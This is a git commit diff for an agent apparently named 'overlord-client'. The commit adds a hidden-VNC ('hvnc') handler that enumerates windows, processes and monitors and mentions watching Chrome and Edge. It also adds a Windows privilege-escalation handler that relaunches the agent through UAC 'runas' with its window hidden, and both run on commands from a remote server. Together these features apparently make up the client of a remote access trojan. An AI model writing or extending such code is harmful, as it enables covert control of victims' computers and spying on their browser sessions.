add elevate to windows and linux, add hvnc visualization + more debug stuff (20 seconds for watching chrome, edge, etc).

This commit is contained in:
KingKDot
2026-05-20 15:26:41 -05:00
parent 7e84ae8fb7
commit ea77515aa3
17 changed files with 683 additions and 23 deletions
@@ -1554,6 +1554,45 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
})
return nil
case "hvnc_window_list":
log.Printf("hvnc: window list requested")
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_window_list", nil, func() {
windows, monitors := capture.HVNCEnumWindows()
winEntries := make([]wire.HVNCWindowEntry, 0, len(windows))
for _, w := range windows {
winEntries = append(winEntries, wire.HVNCWindowEntry{
Title: w.Title,
X: w.X,
Y: w.Y,
Width: w.Width,
Height: w.Height,
PID: w.PID,
ProcessName: w.ProcessName,
Monitor: w.Monitor,
})
}
monEntries := make([]wire.HVNCMonitorEntry, 0, len(monitors))
for _, m := range monitors {
monEntries = append(monEntries, wire.HVNCMonitorEntry{
Index: m.Index,
Name: m.Name,
X: m.X,
Y: m.Y,
Width: m.Width,
Height: m.Height,
Primary: m.Primary,
})
}
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCWindowListResult{
Type: "hvnc_window_list_result",
Windows: winEntries,
Monitors: monEntries,
})
log.Printf("hvnc: window list sent: %d windows, %d monitors", len(winEntries), len(monEntries))
})
return nil
case "hvnc_browser_check":
log.Printf("hvnc: browser availability check requested")
sendCommandResultSafe(env, cmdID, true, "")
@@ -11,6 +11,7 @@ import (
"strings"
"time"
"overlord-client/cmd/agent/mutex"
agentRuntime "overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
)
@@ -76,6 +77,7 @@ func HandleElevate(ctx context.Context, env *agentRuntime.Env, cmdID string, pas
})
}
mutex.ReleaseGlobal()
log.Printf("[elevate] started elevated process pid=%d", cmd.Process.Pid)
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
@@ -1,4 +1,4 @@
//go:build !darwin
//go:build !darwin && !windows
package handlers
@@ -0,0 +1,110 @@
//go:build windows
package handlers
import (
"context"
"fmt"
"log"
"os"
"strings"
"time"
"unsafe"
"golang.org/x/sys/windows"
"overlord-client/cmd/agent/mutex"
agentRuntime "overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
)
var (
modShell32 = windows.NewLazySystemDLL("shell32.dll")
procShellExecute = modShell32.NewProc("ShellExecuteExW")
)
const (
_SEE_MASK_NOCLOSEPROCESS = 0x00000040
_SEE_MASK_NOASYNC = 0x00000100
_SW_SHOWNORMAL = 1
_SW_HIDE = 0
)
type shellExecuteInfo struct {
cbSize uint32
fMask uint32
hwnd uintptr
lpVerb *uint16
lpFile *uint16
lpParameters *uint16
lpDirectory *uint16
nShow int32
hInstApp uintptr
lpIDList uintptr
lpClass *uint16
hkeyClass uintptr
dwHotKey uint32
hIcon uintptr
hProcess uintptr
}
func HandleElevate(ctx context.Context, env *agentRuntime.Env, cmdID string, password string) error {
token := windows.GetCurrentProcessToken()
if token.IsElevated() {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: true,
Message: "already running as admin",
})
}
exePath, err := os.Executable()
if err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: false,
Message: fmt.Sprintf("failed to resolve executable path: %v", err),
})
}
args := strings.Join(os.Args[1:], " ")
verb, _ := windows.UTF16PtrFromString("runas")
file, _ := windows.UTF16PtrFromString(exePath)
params, _ := windows.UTF16PtrFromString(args)
sei := shellExecuteInfo{
fMask: _SEE_MASK_NOCLOSEPROCESS | _SEE_MASK_NOASYNC,
lpVerb: verb,
lpFile: file,
lpParameters: params,
nShow: _SW_HIDE,
}
sei.cbSize = uint32(unsafe.Sizeof(sei))
r1, _, err := procShellExecute.Call(uintptr(unsafe.Pointer(&sei)))
if r1 == 0 {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: false,
Message: fmt.Sprintf("UAC elevation failed: %v", err),
})
}
mutex.ReleaseGlobal()
log.Printf("[elevate] started elevated process via UAC")
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: true,
Message: "elevating — new process started as admin via UAC",
})
time.Sleep(500 * time.Millisecond)
os.Exit(0)
return nil
}